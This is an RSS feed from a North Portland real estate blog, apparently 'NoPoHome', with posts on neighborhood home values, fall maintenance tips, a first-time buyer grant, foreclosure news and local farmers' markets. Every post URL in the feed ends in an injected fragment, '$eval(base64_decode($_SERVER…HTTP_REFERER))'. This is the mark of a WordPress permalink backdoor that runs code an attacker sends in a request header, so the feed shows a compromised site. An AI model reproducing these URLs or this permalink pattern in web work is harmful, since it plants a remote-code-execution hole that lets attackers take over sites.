<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NoPoHome</title>
	<atom:link href="http://nopohome.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://nopohome.com</link>
	<description>Urban living in North Portland</description>
	<lastBuildDate>Fri, 28 Dec 2012 02:35:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>How did your neighborhood improve in 2012?</title>
		<link>http://nopohome.com/2012/12/27/how-did-your-neighborhood-improve-in-2012/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2012/12/27/how-did-your-neighborhood-improve-in-2012/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 28 Dec 2012 02:35:52 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Portland Real Estate]]></category>

		<guid isPermaLink="false">http://nopohome.com/?p=213</guid>
		<description><![CDATA[Alameda +13.7% Arbor Lodge +9% Beaumont-Whilshire +12.7% Boise +14% Buckman +19.1% Concordia +7.2% Cully +6.6% Eastmoreland +12.4% Elliot +23.7% Irvington +15.1% Kenton +6.5% Mount Tabor +8% Multnomah +11.9% Overlook +10.6% Piedmont +12.4% Rose City Park +12.4% Sabin +14.6% St. Johns -.8% Vernon +16.9% Woodlawn +11.8% Woodstock +8.9% If your neighborhood is not listed here go [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://nopohome.com/wp-content/uploads/2012/12/portland-neighborhoods-map-271x300.jpg"><img class="aligncenter size-full wp-image-214" title="portland-neighborhoods-map-271x300" src="http://nopohome.com/wp-content/uploads/2012/12/portland-neighborhoods-map-271x300.jpg" alt="" width="271" height="300" /></a></p>
<p style="text-align: center;">Alameda +13.7%</p>
<p style="text-align: center;">Arbor Lodge +9%</p>
<p style="text-align: center;">Beaumont-Whilshire +12.7%</p>
<p style="text-align: center;">Boise +14%</p>
<p style="text-align: center;">Buckman +19.1%</p>
<p style="text-align: center;">Concordia +7.2%</p>
<p style="text-align: center;">Cully +6.6%</p>
<p style="text-align: center;">Eastmoreland +12.4%</p>
<p style="text-align: center;">Elliot +23.7%</p>
<p style="text-align: center;">Irvington +15.1%</p>
<p style="text-align: center;">Kenton +6.5%</p>
<p style="text-align: center;">Mount Tabor +8%</p>
<p style="text-align: center;">Multnomah +11.9%</p>
<p style="text-align: center;">Overlook +10.6%</p>
<p style="text-align: center;">Piedmont +12.4%</p>
<p style="text-align: center;">Rose City Park +12.4%</p>
<p style="text-align: center;">Sabin +14.6%</p>
<p style="text-align: center;">St. Johns -.8%</p>
<p style="text-align: center;">Vernon +16.9%</p>
<p style="text-align: center;">Woodlawn +11.8%</p>
<p style="text-align: center;">Woodstock +8.9%</p>
<p>If your neighborhood is not listed here go to <a href="http://www.zillow.com/local-info/OR-Portland/Montavilla-home-value/r_207230/">http://www.zillow.com/local-info/OR-Portland/Montavilla-home-value/r_207230/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2012/12/27/how-did-your-neighborhood-improve-in-2012/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fall Home Maintenance Tips</title>
		<link>http://nopohome.com/2012/10/09/fall-home-maintenance-tips-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2012/10/09/fall-home-maintenance-tips-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 09 Oct 2012 22:17:59 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Home Restoration]]></category>

		<guid isPermaLink="false">http://nopohome.com/?p=194</guid>
		<description><![CDATA[Crisp evenings and big full moons signal the fall season is upon us. This quick home repair checklist will help prepare your home for the upcoming cold weather. Check your heating system including the filters, pilot lights and burners. &#160; Double check your programmable thermostat to ensure it is working properly. &#160; Clean and vacuum [...]]]></description>
				<content:encoded><![CDATA[<p><img class="aligncenter  wp-image-204" title="fall" src="http://nopohome.com/wp-content/uploads/2012/10/fall-300x75.gif" alt="" width="100%" />Crisp evenings and big full moons signal the fall season is upon us. This quick home repair checklist will help prepare your home for the upcoming cold weather.</p>
<ul>
<li>Check your heating system including the filters, pilot lights and burners.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Double check your programmable thermostat to ensure it is working properly.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Clean and vacuum dust from the vents, baseboard heaters and cold-air returns.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Check smoke alarm and carbon monoxide detectors. Replace batteries.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Paint interior rooms or shampoo carpets while it&#8217;s still warm enough to leave the windows open.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Have the flue of your fireplace inspected and cleaned.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Check caulking for deterioration around exterior joints and weather stripping around doors and windows. Replace where necessary.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Wash windows.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Inspect, clean and install storm windows.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Clean and lubricate garage door hinges, rollers, and tracks and be sure all of the screws are tight.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Check the attic insulation to make sure it does not cover the ventilation vents in the eaves. This will help to prevent winter ice dams on the roof.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Trim back any tree limbs that touch the roof. Be sure ridge vents and vents at eaves are free of plants and debris.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Clean gutters and downspouts throughout the fall season to prevent a build up of leaves and other debris. Extend the downspouts away from the foundation of your house.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Clean, repair and store patio furniture.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>Turn off exterior faucets. Service lawn irrigation systems and blow out water.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2012/10/09/fall-home-maintenance-tips-2/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Portland OR voted one of the top 5 places to live in the world by The Gaurdian</title>
		<link>http://nopohome.com/2012/10/01/portland-or-voted-one-of-the-top-5-places-to-live-in-the-world-by-the-gaurdian/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2012/10/01/portland-or-voted-one-of-the-top-5-places-to-live-in-the-world-by-the-gaurdian/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 01 Oct 2012 20:40:28 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Portland Real Estate]]></category>

		<guid isPermaLink="false">http://nopohome.com/?p=134</guid>
		<description><![CDATA[Portland, Oregon What&#8217;s going for it? Do you like letterpress? Do you like vintage clothes? Do you play in a nu-folk band? Then get ye to Boise, Eliot and Overlook in Portland. The city has been the capital of liberal, hipster USA for decades. The Dandy Warhols wrote Bohemian Like You about their very home town. There are some, indeed, [...]]]></description>
				<content:encoded><![CDATA[<h2>Portland, Oregon</h2>
<p><strong>What&#8217;s going for it?</strong> Do you like letterpress? Do you like vintage clothes? Do you play in a nu-folk band? Then get ye to Boise, Eliot and Overlook in Portland. The city has been the capital of liberal, hipster USA for decades. The Dandy Warhols wrote <a title="" href="http://www.youtube.com/watch?v=ZJLDjYRfx3g">Bohemian Like You </a>about their very home town. There are some, indeed, round these parts who&#8217;d like the entire Pacific Northwest to break off from the rest of the US and go it alone. So very liberal is Portland that it&#8217;s a home from home to anyone from Europe, especially if they read the Guardian. Cyclists are loved, not loathed. There are planning restrictions on crappy developments. <a title="" href="http://gonw.about.com/od/beerbreweriesinoregon/tp/portlandbrewpubs.htm">Portland has the highest number of microbreweries </a>in the world. Everyone is lovely. My auntie lives there and will make you a nice cup of tea if you&#8217;re homesick. H.E.A.V.E.N. Shockingly, it still remains relatively good value. Especially the patch north of the Willamette river above the railyards. When I first visited in the early 90s, Boise, Eliot and Overlook were the kind of spots you sped through: always the first sign of a neighbourhood you should buy in. Now you can&#8217;t move for contemporary modern antiques shops and dinky record stores.</p>
<p><strong>The case against</strong> Bit too cool for school. Everyone&#8217;s like you. Who will you have to hate? Oh, yes, everyone like you. The weather: like Britain, but more so… hotter and colder and danker.</p>
<p><strong>Well connected?</strong> Unusually again for the US, cycle and walk without abuse: the most bike- and foot-friendly city in the country, packed with proper cycle routes (15 minutes to downtown from the northside). You may use the car. Occasionally. Perhaps for a surf trip to the coast, or a ski trip to the mountains (both 60-100 minutes).</p>
<p><strong>Hang out at…</strong> A food cart: all the rage (check out<a title="" href="http://www.foodcartsportland.com/"> foodcartsportland.com</a>). Or, for the indulgent, <a title="" href="http://www.grandcentralbakery.com/">Grand Central Bakery</a>, in an old scrap metal yard. Artisan, innit.</p>
<p><strong>Property</strong> The area is full of 1910s and 1920s bungalows that the local real estate guys call &#8220;craftsman style&#8221;, with handsome stoops and carved wood decoration. There are a fair few vacant lots, too, for the brave, plus 1960s and 1970s infill apartment blocks that, with a zuzz, could be nice. Look off the main drags, like Mississippi and Interstate regeneration projects. Huge detacheds, £415,000-£575,000; four-bed-plus detacheds, £225,000-£415,000; two- or three-bed detacheds, £140,000-£215,000. Condos below this.</p>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2012/10/01/portland-or-voted-one-of-the-top-5-places-to-live-in-the-world-by-the-gaurdian/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oregon Bond is back for first time home buyers</title>
		<link>http://nopohome.com/2012/06/27/oregon-bond-is-back-for-first-time-home-buyers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2012/06/27/oregon-bond-is-back-for-first-time-home-buyers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 27 Jun 2012 19:10:04 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Portland Real Estate]]></category>

		<guid isPermaLink="false">http://nopohome.com/?p=131</guid>
		<description><![CDATA[Oregon Bond announced renewed funding for the Cash Advantage program. This offers a 3% cash grant to cover down payment and/or closing costs essentially allowing for close to 100% financing when coupled with FHA. Funding is limited and goes fast. I can reserve funds with a subject property address. Wanted to let you know as [...]]]></description>
				<content:encoded><![CDATA[<div>
<div>
<div>Oregon Bond announced renewed funding for the Cash Advantage program. This offers a 3% cash grant to cover down payment and/or closing costs essentially allowing for close to 100% financing when coupled with FHA. Funding is limited and goes fast. I can reserve funds with a subject property address. Wanted to let you know as it could help turn those down payment challenged borrowers into homeowners or provide extra incentive for those with limited funds.</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2012/06/27/oregon-bond-is-back-for-first-time-home-buyers/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>8th Annual Boise Neighborhood Ice Cream Social</title>
		<link>http://nopohome.com/2011/08/02/8th-annual-boise-neighborhood-ice-cream-social/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2011/08/02/8th-annual-boise-neighborhood-ice-cream-social/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 22:07:57 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Portland Real Estate]]></category>

		<guid isPermaLink="false">http://nopohome.com/2011/08/02/8th-annual-boise-neighborhood-ice-cream-social/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[The Ice Cream Social is an opportunity for Boise businesses to say thanks to our neighbors, keep in touch and give back. Please join Vintage Real Estate, and 32 other Mississippi businesses for a FREE scoop on Tuesday, August 23rd from 6:00-7:00&#8230;or until the ice cream runs out! ]]></description>
				<content:encoded><![CDATA[<p>The Ice Cream Social is an opportunity for Boise businesses to say thanks to our neighbors, keep in touch and give back. Please join Vintage Real Estate, and 32 other Mississippi businesses for a FREE scoop on Tuesday, August 23rd from 6:00-7:00&#8230;or until the ice cream runs out! </p>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2011/08/02/8th-annual-boise-neighborhood-ice-cream-social/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Foreclosure notices fall to lowest level since 2006</title>
		<link>http://nopohome.com/2011/06/20/foreclosure-notices-fall-to-lowest-level-since-2006/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2011/06/20/foreclosure-notices-fall-to-lowest-level-since-2006/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 23:59:58 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Portland Real Estate]]></category>

		<guid isPermaLink="false">http://nopohome.com/2011/06/20/foreclosure-notices-fall-to-lowest-level-since-2006/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[Mortgage lenders, many of whom are still working through foreclosure documentation problems that surfaced last fall, also took back fewer properties in May, the second monthly decline in a row, foreclosure listing firm RealtyTrac said Thursday.The delays continue to push the 2 million U.S. homes already on banks&#8217; books or in some stage of foreclosure [...]]]></description>
				<content:encoded><![CDATA[<p><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">Mortgage lenders, many of whom are still working through foreclosure documentation problems that surfaced last fall, also took back fewer properties in May, the second monthly decline in a row, foreclosure listing firm RealtyTrac said Thursday.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">The delays continue to push the 2 million U.S. homes already on banks&#8217; books or in some stage of foreclosure further into limbo and put banks on track to repossess about 200,000 fewer homes this year than in 2010, the firm said.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">&#8220;The problem with that, even though it sounds better, is that all of those foreclosure auctions we should have seen this year roll into next year, and that means it&#8217;s going to take that much longer for the housing market to recover,&#8221; said Rick Sharga, a senior vice president at RealtyTrac.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">The pace of homes entering the foreclosure process and those ending up as bank-owned properties began slowing sharply last fall, when allegations surfaced that many banks relied on erroneous documents when they foreclosed on thousands of homes.</span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN"></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">Since then, banks, federal regulators and state attorneys general have been reviewing how foreclosures were carried out the past two years. That has prompted lenders to resubmit paperwork on foreclosures and, in states where courts play a role in the process, caused a logjam of foreclosure cases.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">Lenders also have put off on taking action against delinquent borrowers as U.S. home sales slowed this year.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">In many cases, banks are only going forward with the foreclosure process as quickly as they can sell the properties they already have on the market, Sharga said.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">Banks have almost 900,000 properties already on their books, so if the ones on the market aren&#8217;t selling, there&#8217;s little incentive for them to take back more homes that will end up sitting vacant.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">Combined with the 1.1 million homes in some stage of foreclosure, the properties represent more than three years of housing inventory at the current sales pace — and that&#8217;s if no other homes go into foreclosure.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">The backlog spells further declines in home values, as homes in foreclosure sell at a 20% discount on average, and those discounts erode prices throughout a neighborhood.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">One bright spot is that the number of home loans at least 90 days late has fallen five quarters in a row and is the lowest since the start of 2009, according to the <a href="http://content.usatoday.com/topics/topic/Mortgage+Bankers+Association" title="More news, photos about Mortgage Bankers Association"><span style="color: #00529b; text-decoration: none; text-underline: none">Mortgage Bankers Association</span></a>.<o:p></o:p></span><span style="font-size: 10pt; color: black; font-family: 'Arial','sans-serif'" lang="EN">That&#8217;s partly because loans made after the credit crisis, when lenders tightened underwriting standards, are not becoming delinquent as often as riskier loans made between 2005 and 2007. That means fewer of those loans are likely to fall into foreclosure.<o:p></o:p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2011/06/20/foreclosure-notices-fall-to-lowest-level-since-2006/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Local North Portland Farmers&#8217; Markets</title>
		<link>http://nopohome.com/2011/04/27/local-north-portland-farmers-markets/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://nopohome.com/2011/04/27/local-north-portland-farmers-markets/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 27 Apr 2011 23:04:51 +0000</pubDate>
		<dc:creator>julie</dc:creator>
				<category><![CDATA[Portland Real Estate]]></category>

		<guid isPermaLink="false">http://nopohome.com/2011/04/27/local-north-portland-farmers-markets/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[ Mississippi Ave.  Market Mason and Mississippi in Q Center Parking lot Saturdays,  8 a.m. – 1 p.m. May 7 – Sept 3rd King Neighborhood Market NE 7th and Wygant Sundays, 10 a.m. &#8211; 2 p.m. May 2 &#8211; October 31 Alberta Farmers&#8217; Market NE 15th and Alberta Saturdays, 10 a.m. &#8211; 2 p.m. May-September Hollywood [...]]]></description>
				<content:encoded><![CDATA[<p><u> </u><u>Mississippi Ave.  Market<br />
</u>Mason and Mississippi in Q Center Parking lot<br />
Saturdays,  8 a.m. – 1 p.m.<br />
May 7 – Sept 3rd</p>
<p><font color="#000000"><u>King Neighborhood Market<br />
</u></font>NE 7th and Wygant<br />
Sundays, 10 a.m. &#8211; 2 p.m.<br />
May 2 &#8211; October 31</p>
<p><u>Alberta Farmers&#8217; Market<br />
</u>NE 15th and Alberta<br />
Saturdays, 10 a.m. &#8211; 2 p.m.<br />
May-September</p>
<p><u>Hollywood Farmers&#8217; Market<br />
</u>NE Hancock between 44th &amp; 45th<br />
Saturdays, 8 a.m. &#8211; 1 p.m. (starts at 9 a.m. in November)<br />
May 1 &#8211; November 21</p>
<p><u>Interstate Farmers&#8217; Market<br />
</u>3550 N. Fremont (near Overlook Park)<br />
Wednesdays, 3:00 &#8211; 7:00 p.m.<br />
May 20 &#8211; September 30</p>
]]></content:encoded>
			<wfw:commentRss>http://nopohome.com/2011/04/27/local-north-portland-farmers-markets/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
